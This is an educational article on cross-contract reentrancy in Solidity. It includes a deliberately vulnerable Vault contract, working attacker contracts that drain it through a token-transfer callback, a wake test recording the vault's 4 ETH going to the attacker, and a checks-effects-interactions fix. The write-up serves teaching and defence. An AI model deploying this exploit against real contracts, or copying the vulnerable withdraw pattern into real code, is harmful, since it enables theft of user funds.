This research article examines how cross contract reentrancy attacks operate, provides an example of such an attack, and offers recommendations for preventing these types of vulnerabilities.
In earlier discussions, we explored single function and cross function reentrancy attacks. Those vulnerabilities were relatively easy to identify, as it suffices to ensure that when updating values through external calls, the correct values are used without unintended modifications.
What constitutes a cross contract reentrancy attack?
Cross contract reentrancy attacks exploit vulnerabilities by utilizing multiple smart contracts. The complexity of the code is heightened due to the involvement of various contracts, necessitating thorough scrutiny of how values are updated across them. Additionally, ReentrancyGuard is ineffective against these kinds of attacks.
Example of a cross contract reentrancy attack
Here’s an example of a contract vulnerable to cross contract reentrancy.
We have a CCRToken
contract and a Vault
contract. The CCRToken is an ERC20 compliant custom token, while the Vault facilitates the exchange between ETH
and CCRToken
. The Vault
holds ETH
.
In the Vault
contract, each user-accessible function employs a nonReentrancy
modifier.
Thus, single function reentrancy is not feasible here. Moreover, the Vault
contract lacks a transfer
function necessary for cross function reentrancy. However, a similar transfer
function exists within the CCRToken
contract.
This is the token contract.
// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
contract CCRToken is ERC20, Ownable {
// (manager i.e. victim) is trusted, so only they can mint and burn tokens
constructor(address manager) ERC20("CCRToken", "CCRT") Ownable(manager) {}
// Only the manager can mint tokens
function mint(address to, uint256 amount) external onlyOwner {
_mint(to, amount);
}
// Burn tokens
function burn(address from, uint256 amount) external onlyOwner {
_burn(from, amount);
}
}
This is the vulnerable vault contract.
// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;
import "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "./token.sol";
contract Vault is ReentrancyGuard, Ownable {
CCRToken public customToken;
constructor() Ownable(msg.sender) {}
function setToken(address _customToken) external onlyOwner {
customToken = CCRToken(_customToken);
}
function deposit() external payable nonReentrant {
customToken.mint(msg.sender, msg.value); // Convert ETH to CCRT
}
function burnUser() internal {
customToken.burn(msg.sender, customToken.balanceOf(msg.sender));
}
/**
* @notice Vulnerable function. Similar to cross function reentrancy but harder to detect.
* It makes use of external contracts and thus has more complexity than variable-based vulnerabilities.
*/
function withdraw() external nonReentrant {
uint256 balance = customToken.balanceOf(msg.sender);
require(balance > 0, "Insufficient balance");
(bool success, ) = msg.sender.call{value: balance}("");
// The attacker can invoke the transfer function for CCRT in the callback.
require(success, "Failed to send Ether");
burnUser();
}
}
The concept of the attack is reminiscent of the cross function reentrancy attack. The attacker invokes the withdraw function, triggering an external function call. Here, even though all external functions in this contract are marked as non-reentrant, the transfer
function can still be executed since it resides in the CCRToken
contract.
Steps to execute the attack
The attack is executed through the attack
function after calling it.
- Call the
deposit
function in the Vault contract to set up for the attack. - Trigger the
withdraw
function in the Vault contract, which leads to an external call to the attacker, invoking thereceive
function. - In the
receive
function, the attacker performs atransfer
in the Token contract, sending the ERC20 value toAttacker2
. - At this point, the total balance of both the
Attacker
andAttacker2
in the Token contract multiplies. - Invoke
attacker2.send
to transfer the Token value fromAttacker2
back to the Attacker.
These steps can then be repeated until the vault is completely depleted.
Contract for the Attacker
Here’s the contract used by the attacker.
// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;
import "./vault.sol";
contract Attacker1 {
Vault victim;
CCRToken ccrt;
Attacker2 attacker2;
uint256 amount = 1 ether;
/**
* @param _victim Victim address
* @param _ccrt Victim token ERC20 address
*/
constructor(address _victim, address _ccrt) payable {
victim = Vault(_victim);
ccrt = CCRToken(_ccrt);
}
/**
* @notice Assign the attacker2 contract
* @param _attacker2 Address of the attacker colleague
*/
function setattacker2(address _attacker2) public {
attacker2 = Attacker2(_attacker2);
}
/**
* @notice Receive ether. The same amount as withdraw() but can transfer the same amount to attacker2.
* This is triggered by victim.withdraw().
*/
receive() external payable {
ccrt.transfer(address(attacker2), msg.value);
}
/**
* @notice Initiate the attack by making deposits and sequential withdrawals.
*/
function attack() public {
uint256 value = address(this).balance;
victim.deposit{value: value}();
while(address(victim).balance >= amount){
victim.withdraw();
attacker2.send(address(this), value); // Transfer ERC20 tokens that were multiplied in receive().
}
}
}
contract Attacker2 {
Vault victim;
CCRToken ccrt;
uint256 amount = 1 ether;
constructor(address _victim, address _ccrt) {
victim = Vault(_victim);
ccrt = CCRToken(_ccrt);
}
/**
* @notice Simply transfers ERC20 tokens to the attacker
*/
function send(address _target, uint256 _amount) public {
ccrt.transfer(_target, _amount);
}
}
Demonstration of a cross-contract reentrancy exploit
This scenario becomes more complex compared to prior examples, however, the crucial aspect lies in the methodical calling of the attack function.
The process entails deploying the vault and token contracts, then setting their addresses.
In a similar vein, attackers are initialized, with the attack
function executed within the attacking contract.
from wake.testing import *
from pytypes.contracts.crosscontractreentrancy.token import CCRToken
from pytypes.contracts.crosscontractreentrancy.vault import Vault
from pytypes.contracts.crosscontractreentrancy.attacker import Attacker1
from pytypes.contracts.crosscontractreentrancy.attacker import Attacker2
@default_chain.connect()
def test_default():
print("---------------------Cross Contract Reentrancy---------------------")
victim = default_chain.accounts[0]
attacker = default_chain.accounts[1]
vault = Vault.deploy(from_=victim)
token = CCRToken.deploy(vault.address, from_=victim)
vault.setToken(token.address)
vault.deposit(from_=victim, value="4 ether")
attacker_contract = Attacker1.deploy(vault.address, token.address, from_=attacker, value="1 ether")
attacker2_contract = Attacker2.deploy(vault.address, token.address, from_=attacker)
attacker_contract.setattacker2(attacker2_contract.address, from_=attacker)
print("Vault balance : ", vault.balance)
print("Attacker balance: ", attacker_contract.balance)
print("----------Attack----------")
tx = attacker_contract.attack(from_=attacker)
print(tx.call_trace)
print("Vault balance : ", vault.balance)
print("Attacker balance: ", attacker_contract.balance)
The output from wake shows that the Vault’s balance dropped from 4 ETH to 0 ETH, while the Attacker’s balance increased from 1 ETH to 5 ETH.
Measures to prevent cross-contract reentrancy attacks
ReentrancyGuard
The basic reentrancy guard is not sufficient to thwart such attacks.
CEI (checks-effects-interactions)
This straightforward approach effectively eliminates the risk of a reentrancy attack and is the most effective method for mitigation.
// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;
import "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "./token.sol";
contract Vault is ReentrancyGuard, Ownable {
CCRToken public customToken;
constructor() Ownable(msg.sender) {}
function setToken(address _customToken) external onlyOwner {
customToken = CCRToken(_customToken);
}
function deposit() external payable nonReentrant {
customToken.mint(msg.sender, msg.value); // Convert ETH to CCRT
}
function burnUser() internal {
customToken.burn(msg.sender, customToken.balanceOf(msg.sender));
}
/**
* @notice Vulnerable function. Similar to cross function reentrancy but harder to trace.
* It employs external contracts and has features beyond mere variable manipulations.
*/
function withdraw() external nonReentrant {
uint256 balance = customToken.balanceOf(msg.sender);
require(balance > 0, "Insufficient balance");
burnUser();
(bool success, ) = msg.sender.call{value: balance}("");
require(success, "Failed to send Ether");
}
}
Conclusion
The primary concern with cross-contract reentrancy is that ReentrancyGuard fails to provide adequate protection. The underlying issue persists in that functions should not manipulate data while performing operations. In the presence of multiple contracts, the states are managed differently, and rectifying this should ultimately neutralize the attack vector.
We also maintain a Reentrancy Examples Github Repository featuring various forms of reentrancy attacks, including practical examples, protocol-specific scenarios, and mitigation strategies.